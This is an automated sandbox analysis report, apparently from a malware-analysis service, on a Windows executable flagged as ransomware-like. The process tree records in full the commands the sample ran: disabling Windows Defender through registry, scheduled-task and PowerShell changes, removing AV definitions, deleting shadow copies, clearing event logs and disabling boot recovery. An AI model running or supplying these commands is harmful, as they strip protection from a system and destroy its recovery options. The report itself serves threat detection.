Resubmissions

12-01-2022 19:26

220112-x5zvradgek 10

12-01-2022 17:00

220112-vh7kzaddek 10

Analysis

  • max time kernel
    146s
  • max time network
    222s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    12-01-2022 19:26

General

  • Target

    16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe

  • Size

    2.7MB

  • MD5

    8486072a80d4cef5b18407ffa74a965d

  • SHA1

    b3bbdd7d990092b8545c04bf6cea5572c1d1cb4c

  • SHA256

    16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1

  • SHA512

    dea0bc47c7b3b178e128d2349ede55d7c13cd5884ce49a178668b9e0a527f2f415eef432a5523c8c129436e37d8a7f424ce0dbebf95b89e22a9d7a1c15c083e5

Malware Config

Signatures

  • Deletes Windows Defender Definitions 2 TTPs 1 IoCs

    Uses mpcmdrun utility to delete all AV definitions.

  • Modifies Windows Defender Real-time Protection settings 3 TTPs
  • Modifies security service 2 TTPs 1 IoCs
  • Clears Windows event logs 1 TTPs
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Drops file in Program Files directory 64 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Interacts with shadow copies 2 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies registry class 3 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe
    "C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe"
    1⤵
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:3224
    • C:\Windows\SYSTEM32\net.exe
      net.exe stop "SamSs" /y
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1708
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 stop "SamSs" /y
        3⤵
          PID:3708
      • C:\Windows\SYSTEM32\net.exe
        net.exe stop "SDRSVC" /y
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1252
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 stop "SDRSVC" /y
          3⤵
            PID:2912
        • C:\Windows\SYSTEM32\net.exe
          net.exe stop "SstpSvc" /y
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1920
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 stop "SstpSvc" /y
            3⤵
              PID:1764
          • C:\Windows\SYSTEM32\net.exe
            net.exe stop "UI0Detect" /y
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:708
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 stop "UI0Detect" /y
              3⤵
                PID:3548
            • C:\Windows\SYSTEM32\net.exe
              net.exe stop "vmicvss" /y
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:884
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 stop "vmicvss" /y
                3⤵
                  PID:1216
              • C:\Windows\SYSTEM32\net.exe
                net.exe stop "VSS" /y
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:1872
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 stop "VSS" /y
                  3⤵
                    PID:1440
                • C:\Windows\SYSTEM32\net.exe
                  net.exe stop "wbengine" /y
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:536
                  • C:\Windows\system32\net1.exe
                    C:\Windows\system32\net1 stop "wbengine" /y
                    3⤵
                      PID:2248
                  • C:\Windows\SYSTEM32\net.exe
                    net.exe stop "WebClient" /y
                    2⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1248
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 stop "WebClient" /y
                      3⤵
                        PID:2388
                    • C:\Windows\SYSTEM32\net.exe
                      net.exe stop "UnistoreSvc_12e21" /y
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:1776
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 stop "UnistoreSvc_12e21" /y
                        3⤵
                          PID:1996
                      • C:\Windows\SYSTEM32\sc.exe
                        sc.exe config "SamSs" start= disabled
                        2⤵
                          PID:2576
                        • C:\Windows\SYSTEM32\sc.exe
                          sc.exe config "SDRSVC" start= disabled
                          2⤵
                            PID:2460
                          • C:\Windows\SYSTEM32\sc.exe
                            sc.exe config "SstpSvc" start= disabled
                            2⤵
                              PID:3220
                            • C:\Windows\SYSTEM32\sc.exe
                              sc.exe config "UI0Detect" start= disabled
                              2⤵
                                PID:2980
                              • C:\Windows\SYSTEM32\sc.exe
                                sc.exe config "vmicvss" start= disabled
                                2⤵
                                  PID:3692
                                • C:\Windows\SYSTEM32\sc.exe
                                  sc.exe config "VSS" start= disabled
                                  2⤵
                                    PID:3656
                                  • C:\Windows\SYSTEM32\sc.exe
                                    sc.exe config "wbengine" start= disabled
                                    2⤵
                                      PID:1876
                                    • C:\Windows\SYSTEM32\sc.exe
                                      sc.exe config "WebClient" start= disabled
                                      2⤵
                                        PID:2396
                                      • C:\Windows\SYSTEM32\sc.exe
                                        sc.exe config "UnistoreSvc_12e21" start= disabled
                                        2⤵
                                          PID:3096
                                        • C:\Windows\SYSTEM32\reg.exe
                                          reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
                                          2⤵
                                            PID:1624
                                          • C:\Windows\SYSTEM32\reg.exe
                                            reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
                                            2⤵
                                              PID:2176
                                            • C:\Windows\SYSTEM32\reg.exe
                                              reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
                                              2⤵
                                                PID:3800
                                              • C:\Windows\SYSTEM32\reg.exe
                                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
                                                2⤵
                                                  PID:1536
                                                • C:\Windows\SYSTEM32\reg.exe
                                                  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
                                                  2⤵
                                                    PID:3168
                                                  • C:\Windows\SYSTEM32\reg.exe
                                                    reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
                                                    2⤵
                                                      PID:4036
                                                    • C:\Windows\SYSTEM32\reg.exe
                                                      reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
                                                      2⤵
                                                        PID:2084
                                                      • C:\Windows\SYSTEM32\reg.exe
                                                        reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
                                                        2⤵
                                                          PID:1604
                                                        • C:\Windows\SYSTEM32\reg.exe
                                                          reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
                                                          2⤵
                                                            PID:3144
                                                          • C:\Windows\SYSTEM32\reg.exe
                                                            reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
                                                            2⤵
                                                              PID:2596
                                                            • C:\Windows\SYSTEM32\reg.exe
                                                              reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
                                                              2⤵
                                                                PID:704
                                                              • C:\Windows\SYSTEM32\reg.exe
                                                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
                                                                2⤵
                                                                  PID:948
                                                                • C:\Windows\SYSTEM32\reg.exe
                                                                  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
                                                                  2⤵
                                                                    PID:2516
                                                                  • C:\Windows\SYSTEM32\reg.exe
                                                                    reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f
                                                                    2⤵
                                                                      PID:1328
                                                                    • C:\Windows\SYSTEM32\reg.exe
                                                                      reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
                                                                      2⤵
                                                                        PID:1476
                                                                      • C:\Windows\SYSTEM32\reg.exe
                                                                        reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
                                                                        2⤵
                                                                          PID:1852
                                                                        • C:\Windows\SYSTEM32\schtasks.exe
                                                                          schtasks.exe /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
                                                                          2⤵
                                                                            PID:3920
                                                                          • C:\Windows\SYSTEM32\schtasks.exe
                                                                            schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
                                                                            2⤵
                                                                              PID:3900
                                                                            • C:\Windows\SYSTEM32\schtasks.exe
                                                                              schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
                                                                              2⤵
                                                                                PID:3564
                                                                              • C:\Windows\SYSTEM32\schtasks.exe
                                                                                schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
                                                                                2⤵
                                                                                  PID:3504
                                                                                • C:\Windows\SYSTEM32\schtasks.exe
                                                                                  schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
                                                                                  2⤵
                                                                                    PID:3552
                                                                                  • C:\Windows\SYSTEM32\reg.exe
                                                                                    reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f
                                                                                    2⤵
                                                                                      PID:868
                                                                                    • C:\Windows\SYSTEM32\reg.exe
                                                                                      reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f
                                                                                      2⤵
                                                                                        PID:3028
                                                                                      • C:\Windows\SYSTEM32\reg.exe
                                                                                        reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f
                                                                                        2⤵
                                                                                          PID:1464
                                                                                        • C:\Windows\SYSTEM32\reg.exe
                                                                                          reg.exe delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
                                                                                          2⤵
                                                                                          • Modifies registry class
                                                                                          PID:2644
                                                                                        • C:\Windows\SYSTEM32\reg.exe
                                                                                          reg.exe delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
                                                                                          2⤵
                                                                                          • Modifies registry class
                                                                                          PID:1628
                                                                                        • C:\Windows\SYSTEM32\reg.exe
                                                                                          reg.exe delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
                                                                                          2⤵
                                                                                          • Modifies registry class
                                                                                          PID:3700
                                                                                        • C:\Windows\SYSTEM32\reg.exe
                                                                                          reg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
                                                                                          2⤵
                                                                                            PID:692
                                                                                          • C:\Windows\SYSTEM32\reg.exe
                                                                                            reg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
                                                                                            2⤵
                                                                                              PID:428
                                                                                            • C:\Windows\SYSTEM32\reg.exe
                                                                                              reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
                                                                                              2⤵
                                                                                                PID:640
                                                                                              • C:\Windows\SYSTEM32\reg.exe
                                                                                                reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
                                                                                                2⤵
                                                                                                  PID:1208
                                                                                                • C:\Windows\SYSTEM32\reg.exe
                                                                                                  reg.exe add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
                                                                                                  2⤵
                                                                                                  • Modifies security service
                                                                                                  PID:3960
                                                                                                • C:\Windows\SYSTEM32\reg.exe
                                                                                                  reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
                                                                                                  2⤵
                                                                                                    PID:1916
                                                                                                  • C:\Windows\SYSTEM32\vssadmin.exe
                                                                                                    vssadmin.exe delete shadows /all /quiet
                                                                                                    2⤵
                                                                                                    • Interacts with shadow copies
                                                                                                    PID:1680
                                                                                                  • C:\Windows\SYSTEM32\wevtutil.exe
                                                                                                    wevtutil.exe cl system
                                                                                                    2⤵
                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                    PID:1848
                                                                                                  • C:\Windows\SYSTEM32\wevtutil.exe
                                                                                                    wevtutil.exe cl security
                                                                                                    2⤵
                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                    PID:2424
                                                                                                  • C:\Windows\SYSTEM32\wevtutil.exe
                                                                                                    wevtutil.exe cl application
                                                                                                    2⤵
                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                    PID:2140
                                                                                                  • C:\Windows\System32\Wbem\wmic.exe
                                                                                                    wmic.exe SHADOWCOPY /nointeractive
                                                                                                    2⤵
                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                    PID:1164
                                                                                                  • C:\Windows\System32\Wbem\wmic.exe
                                                                                                    wmic.exe shadowcopy delete
                                                                                                    2⤵
                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                    PID:2428
                                                                                                  • C:\Windows\SYSTEM32\bcdedit.exe
                                                                                                    bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
                                                                                                    2⤵
                                                                                                    • Modifies boot configuration data using bcdedit
                                                                                                    PID:3912
                                                                                                  • C:\Windows\SYSTEM32\bcdedit.exe
                                                                                                    bcdedit.exe /set {default} recoveryenabled no
                                                                                                    2⤵
                                                                                                    • Modifies boot configuration data using bcdedit
                                                                                                    PID:3680
                                                                                                  • C:\Windows\SYSTEM32\cmd.exe
                                                                                                    cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
                                                                                                    2⤵
                                                                                                      PID:3228
                                                                                                      • C:\Program Files\Windows Defender\MpCmdRun.exe
                                                                                                        "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
                                                                                                        3⤵
                                                                                                        • Deletes Windows Defender Definitions
                                                                                                        PID:2764
                                                                                                    • C:\Windows\SYSTEM32\cmd.exe
                                                                                                      cmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true
                                                                                                      2⤵
                                                                                                        PID:1364
                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                          powershell Set-MpPreference -DisableIOAVProtection $true
                                                                                                          3⤵
                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                          PID:2564
                                                                                                      • C:\Windows\SYSTEM32\cmd.exe
                                                                                                        cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
                                                                                                        2⤵
                                                                                                          PID:2288
                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                            powershell Set-MpPreference -DisableRealtimeMonitoring $true
                                                                                                            3⤵
                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                            PID:1780

                                                                                                      Network

                                                                                                      MITRE ATT&CK Enterprise v6

                                                                                                      Replay Monitor

                                                                                                      Loading Replay Monitor...

                                                                                                      Downloads

                                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                                                                                                        MD5

                                                                                                        ad5cd538ca58cb28ede39c108acb5785

                                                                                                        SHA1

                                                                                                        1ae910026f3dbe90ed025e9e96ead2b5399be877

                                                                                                        SHA256

                                                                                                        c9e6cb04d6c893458d5a7e12eb575cf97c3172f5e312b1f63a667cbbc5f0c033

                                                                                                        SHA512

                                                                                                        c066c5d9b276a68fa636647bb29aea05bfa2292217bc77f5324d9c1d93117772ee8277e1f7cff91ec8d6b7c05ca078f929cecfdbb09582522a9067f54740af13

                                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                        MD5

                                                                                                        61c94667382d350f800effcc617528b5

                                                                                                        SHA1

                                                                                                        0582550f8c9b282eda95a57ea959bd62932f7639

                                                                                                        SHA256

                                                                                                        101da57e1e46a8aec4956ce3dc38bd69166216aa100a27bfc540a308dc01a972

                                                                                                        SHA512

                                                                                                        e6ab33d976ceb11b629988205bb372c4cafb76cd96999d64086fdbce90f3aaf377d1c83e784e290207cd6285e14b6c0a1a1eabf91050c5046966b8e53fba0aaf

                                                                                                      • memory/428-173-0x0000000000000000-mapping.dmp

                                                                                                      • memory/536-130-0x0000000000000000-mapping.dmp

                                                                                                      • memory/640-174-0x0000000000000000-mapping.dmp

                                                                                                      • memory/692-172-0x0000000000000000-mapping.dmp

                                                                                                      • memory/704-155-0x0000000000000000-mapping.dmp

                                                                                                      • memory/708-124-0x0000000000000000-mapping.dmp

                                                                                                      • memory/868-166-0x0000000000000000-mapping.dmp

                                                                                                      • memory/884-126-0x0000000000000000-mapping.dmp

                                                                                                      • memory/948-156-0x0000000000000000-mapping.dmp

                                                                                                      • memory/1208-175-0x0000000000000000-mapping.dmp

                                                                                                      • memory/1216-127-0x0000000000000000-mapping.dmp

                                                                                                      • memory/1248-132-0x0000000000000000-mapping.dmp

                                                                                                      • memory/1252-120-0x0000000000000000-mapping.dmp

                                                                                                      • memory/1328-158-0x0000000000000000-mapping.dmp

                                                                                                      • memory/1440-129-0x0000000000000000-mapping.dmp

                                                                                                      • memory/1464-168-0x0000000000000000-mapping.dmp

                                                                                                      • memory/1476-159-0x0000000000000000-mapping.dmp

                                                                                                      • memory/1536-148-0x0000000000000000-mapping.dmp

                                                                                                      • memory/1604-152-0x0000000000000000-mapping.dmp

                                                                                                      • memory/1624-145-0x0000000000000000-mapping.dmp

                                                                                                      • memory/1628-170-0x0000000000000000-mapping.dmp

                                                                                                      • memory/1680-178-0x0000000000000000-mapping.dmp

                                                                                                      • memory/1708-118-0x0000000000000000-mapping.dmp

                                                                                                      • memory/1764-123-0x0000000000000000-mapping.dmp

                                                                                                      • memory/1776-134-0x0000000000000000-mapping.dmp

                                                                                                      • memory/1780-259-0x0000027A33A38000-0x0000027A33A39000-memory.dmp

                                                                                                        Filesize

                                                                                                        4KB

                                                                                                      • memory/1780-233-0x0000027A33740000-0x0000027A33742000-memory.dmp

                                                                                                        Filesize

                                                                                                        8KB

                                                                                                      • memory/1780-232-0x0000027A4C080000-0x0000027A4C0F6000-memory.dmp

                                                                                                        Filesize

                                                                                                        472KB

                                                                                                      • memory/1780-257-0x0000027A33740000-0x0000027A33742000-memory.dmp

                                                                                                        Filesize

                                                                                                        8KB

                                                                                                      • memory/1780-225-0x0000027A33A40000-0x0000027A33A62000-memory.dmp

                                                                                                        Filesize

                                                                                                        136KB

                                                                                                      • memory/1780-224-0x0000027A33740000-0x0000027A33742000-memory.dmp

                                                                                                        Filesize

                                                                                                        8KB

                                                                                                      • memory/1780-229-0x0000027A33A30000-0x0000027A33A32000-memory.dmp

                                                                                                        Filesize

                                                                                                        8KB

                                                                                                      • memory/1780-258-0x0000027A33A36000-0x0000027A33A38000-memory.dmp

                                                                                                        Filesize

                                                                                                        8KB

                                                                                                      • memory/1780-223-0x0000027A33740000-0x0000027A33742000-memory.dmp

                                                                                                        Filesize

                                                                                                        8KB

                                                                                                      • memory/1780-222-0x0000027A33740000-0x0000027A33742000-memory.dmp

                                                                                                        Filesize

                                                                                                        8KB

                                                                                                      • memory/1780-231-0x0000027A33A33000-0x0000027A33A35000-memory.dmp

                                                                                                        Filesize

                                                                                                        8KB

                                                                                                      • memory/1780-230-0x0000027A33740000-0x0000027A33742000-memory.dmp

                                                                                                        Filesize

                                                                                                        8KB

                                                                                                      • memory/1780-221-0x0000027A33740000-0x0000027A33742000-memory.dmp

                                                                                                        Filesize

                                                                                                        8KB

                                                                                                      • memory/1780-227-0x0000027A33740000-0x0000027A33742000-memory.dmp

                                                                                                        Filesize

                                                                                                        8KB

                                                                                                      • memory/1848-179-0x0000000000000000-mapping.dmp

                                                                                                      • memory/1852-160-0x0000000000000000-mapping.dmp

                                                                                                      • memory/1872-128-0x0000000000000000-mapping.dmp

                                                                                                      • memory/1876-142-0x0000000000000000-mapping.dmp

                                                                                                      • memory/1916-177-0x0000000000000000-mapping.dmp

                                                                                                      • memory/1920-122-0x0000000000000000-mapping.dmp

                                                                                                      • memory/1996-135-0x0000000000000000-mapping.dmp

                                                                                                      • memory/2084-151-0x0000000000000000-mapping.dmp

                                                                                                      • memory/2140-181-0x0000000000000000-mapping.dmp

                                                                                                      • memory/2176-146-0x0000000000000000-mapping.dmp

                                                                                                      • memory/2248-131-0x0000000000000000-mapping.dmp

                                                                                                      • memory/2388-133-0x0000000000000000-mapping.dmp

                                                                                                      • memory/2396-143-0x0000000000000000-mapping.dmp

                                                                                                      • memory/2424-180-0x0000000000000000-mapping.dmp

                                                                                                      • memory/2460-137-0x0000000000000000-mapping.dmp

                                                                                                      • memory/2516-157-0x0000000000000000-mapping.dmp

                                                                                                      • memory/2564-189-0x0000019A54010000-0x0000019A54012000-memory.dmp

                                                                                                        Filesize

                                                                                                        8KB

                                                                                                      • memory/2564-197-0x0000019A54016000-0x0000019A54018000-memory.dmp

                                                                                                        Filesize

                                                                                                        8KB

                                                                                                      • memory/2564-228-0x0000019A54018000-0x0000019A54019000-memory.dmp

                                                                                                        Filesize

                                                                                                        4KB

                                                                                                      • memory/2564-219-0x0000019A39EC0000-0x0000019A39EC2000-memory.dmp

                                                                                                        Filesize

                                                                                                        8KB

                                                                                                      • memory/2564-218-0x0000019A39EC0000-0x0000019A39EC2000-memory.dmp

                                                                                                        Filesize

                                                                                                        8KB

                                                                                                      • memory/2564-198-0x0000019A39EC0000-0x0000019A39EC2000-memory.dmp

                                                                                                        Filesize

                                                                                                        8KB

                                                                                                      • memory/2564-196-0x0000019A39EC0000-0x0000019A39EC2000-memory.dmp

                                                                                                        Filesize

                                                                                                        8KB

                                                                                                      • memory/2564-183-0x0000019A39EC0000-0x0000019A39EC2000-memory.dmp

                                                                                                        Filesize

                                                                                                        8KB

                                                                                                      • memory/2564-182-0x0000019A39EC0000-0x0000019A39EC2000-memory.dmp

                                                                                                        Filesize

                                                                                                        8KB

                                                                                                      • memory/2564-184-0x0000019A39EC0000-0x0000019A39EC2000-memory.dmp

                                                                                                        Filesize

                                                                                                        8KB

                                                                                                      • memory/2564-185-0x0000019A39EC0000-0x0000019A39EC2000-memory.dmp

                                                                                                        Filesize

                                                                                                        8KB

                                                                                                      • memory/2564-186-0x0000019A53FB0000-0x0000019A53FD2000-memory.dmp

                                                                                                        Filesize

                                                                                                        136KB

                                                                                                      • memory/2564-187-0x0000019A39EC0000-0x0000019A39EC2000-memory.dmp

                                                                                                        Filesize

                                                                                                        8KB

                                                                                                      • memory/2564-188-0x0000019A39EC0000-0x0000019A39EC2000-memory.dmp

                                                                                                        Filesize

                                                                                                        8KB

                                                                                                      • memory/2564-190-0x0000019A54013000-0x0000019A54015000-memory.dmp

                                                                                                        Filesize

                                                                                                        8KB

                                                                                                      • memory/2564-192-0x0000019A39EC0000-0x0000019A39EC2000-memory.dmp

                                                                                                        Filesize

                                                                                                        8KB

                                                                                                      • memory/2564-191-0x0000019A541A0000-0x0000019A54216000-memory.dmp

                                                                                                        Filesize

                                                                                                        472KB

                                                                                                      • memory/2576-136-0x0000000000000000-mapping.dmp

                                                                                                      • memory/2596-154-0x0000000000000000-mapping.dmp

                                                                                                      • memory/2644-169-0x0000000000000000-mapping.dmp

                                                                                                      • memory/2912-121-0x0000000000000000-mapping.dmp

                                                                                                      • memory/2980-139-0x0000000000000000-mapping.dmp

                                                                                                      • memory/3028-167-0x0000000000000000-mapping.dmp

                                                                                                      • memory/3096-144-0x0000000000000000-mapping.dmp

                                                                                                      • memory/3144-153-0x0000000000000000-mapping.dmp

                                                                                                      • memory/3168-149-0x0000000000000000-mapping.dmp

                                                                                                      • memory/3220-138-0x0000000000000000-mapping.dmp

                                                                                                      • memory/3504-164-0x0000000000000000-mapping.dmp

                                                                                                      • memory/3548-125-0x0000000000000000-mapping.dmp

                                                                                                      • memory/3552-165-0x0000000000000000-mapping.dmp

                                                                                                      • memory/3564-163-0x0000000000000000-mapping.dmp

                                                                                                      • memory/3656-141-0x0000000000000000-mapping.dmp

                                                                                                      • memory/3692-140-0x0000000000000000-mapping.dmp

                                                                                                      • memory/3700-171-0x0000000000000000-mapping.dmp

                                                                                                      • memory/3708-119-0x0000000000000000-mapping.dmp

                                                                                                      • memory/3800-147-0x0000000000000000-mapping.dmp

                                                                                                      • memory/3900-162-0x0000000000000000-mapping.dmp

                                                                                                      • memory/3920-161-0x0000000000000000-mapping.dmp

                                                                                                      • memory/3960-176-0x0000000000000000-mapping.dmp

                                                                                                      • memory/4036-150-0x0000000000000000-mapping.dmp